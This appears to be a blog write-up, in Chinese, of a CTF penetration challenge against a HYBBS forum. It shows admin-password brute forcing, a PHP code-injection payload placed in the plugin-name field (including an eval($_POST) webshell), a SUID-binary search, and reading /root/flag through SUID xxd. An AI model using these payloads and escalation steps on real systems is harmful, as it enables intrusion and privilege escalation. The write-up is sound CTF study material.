[BMZCTF]伟大宝宝的宝藏(非预期解)

  • A+

前言

这两天参加了BMZCTF的比赛比赛环境是综合渗透,题目详情及要求如下。

题目

渗透测试公开赛安排说明
比赛时间:2020-11-14上午9点 至 2020-11-15 下午11点
比赛题目:综合渗透区——《伟大宝宝的宝藏》

题目场景:初出茅庐的程序员伟大宝宝给公司做了一个网站,由于采用了通用的CMS所以他把存在的漏洞给修复好了,顺便做了些二次开发。
在他认为网站非常坚固的情况下,网站上线的第一天服务器就被黑客拿下来了,并且还打穿了公司内网导致公司损失重大。
他所在的公司立刻找到了你并给了你一个渗透测试项目,需要你来寻找黑客入侵的途径,并找到黑客是如何获取/root/目录下的flag文件信息的。

项目要求:请通过常规渗透测试手段对该目标进行测试。
题目提示:本题目无需扫描服务器端口、也无需目录扫描,因为是开源CMS,目录信息均可查到,可通过代码审计挖掘0day或寻找已存在的漏洞解决本题目。

web

开启靶机之后才知道是什么cms ,上网赶紧下了一份源码

1.png

之后百度一直在搜hybbs的漏洞

https://www.freebuf.com/vuls/243833.html
https://blog.csdn.net/weixin_50359752/article/details/108869507

网上的博客都说后台存在getshell漏洞

我在前台一直转悠,也找不到后台的登录地址,粗略看看了开发文档,没瞅出来啥

https://www.kancloud.cn/hyphp/hybbs/154773

之后在某个论坛上看到说是和普通用户一起登录在跳转到后台管理(期间一直使用注册的普通用户在前台尝试文件上传,真不知道我哪来的勇气,明明是开源的,呜呜)

吃了顿午饭,继续搞

字典爆破

在用户登录页面使用admin/123456尝试登录,提示密码错误,证明存在admin用户

2.png

之后使用的N个字典,都没爆破出来,又仔细看了看提示

伟大宝宝的宝藏
baobao?是在说我吗?(本人名字有这个音)

然后我就用baobao生成了一个字典

字典生成.png

3.png

burp抓包

4.png

把字典导入

5.png

很快就可以跑出来了

6.png

密码是baobao123456789

那还等啥?登录登录登录

7.png

选择管理后台

8.png

输入密码即可

后台是我卡的时间最长的地方,网上的博客写的都不具体,制作插件后生成的文件在哪里?

9.png

选择制作插件

10.png

插件名111',phpinfo(),//,点击确定执行

11.png

再返回插件页面就可以看到执行效果

12.png

思路之后一直卡在这里,博客上说代码在conf.php文件,还有说在根目录如何如何

可能之前有写入一句话木马,但就是不知道具体路径

到了晚上10点还在想木马生成在了哪里

还好我有源码,自己搭建了一下,知道了最后shell文件到了哪里

13.png

后台getshell

知道路径就好搞了,新建插件写入一句话

14.png

111',eval($_POST['pass']),//是一句话,222就是目录

15.png

使用蚁剑链接

16.png

进入虚拟终端

17.png

我原本想着用脏牛提权,失败了

提权

之后用ls -lh $(find / -perm -u=s -type f 2>/dev/null)查看了又那些文件被设置了suid

18.png

然后发现xxd命令被设置了suid

19.png

因为要读取/root/flag,所以我就使用了下面的命令

20.png

(www-data:/var/www/html/Plugin/222) $ xxd "/root/flag" | xxd -r
BMZCTF{7ff0c69a820b4f7a9590c9ab0eb493ef}

写完wp就已经深夜一点了,发现这次的渗透还是思路不太灵活,对渗透的环境不是特别清晰,总之,继续努力吧。

第二天中午,比赛官方过来找我,我说了说我的思路,他说我的解法是非预期,仔细想想渗透测试就是这样。

客服.png

期待比赛结束后的官方writeup。

附比赛排名,截至到比赛结束,除了官方测试,有三人做出该题

排名.png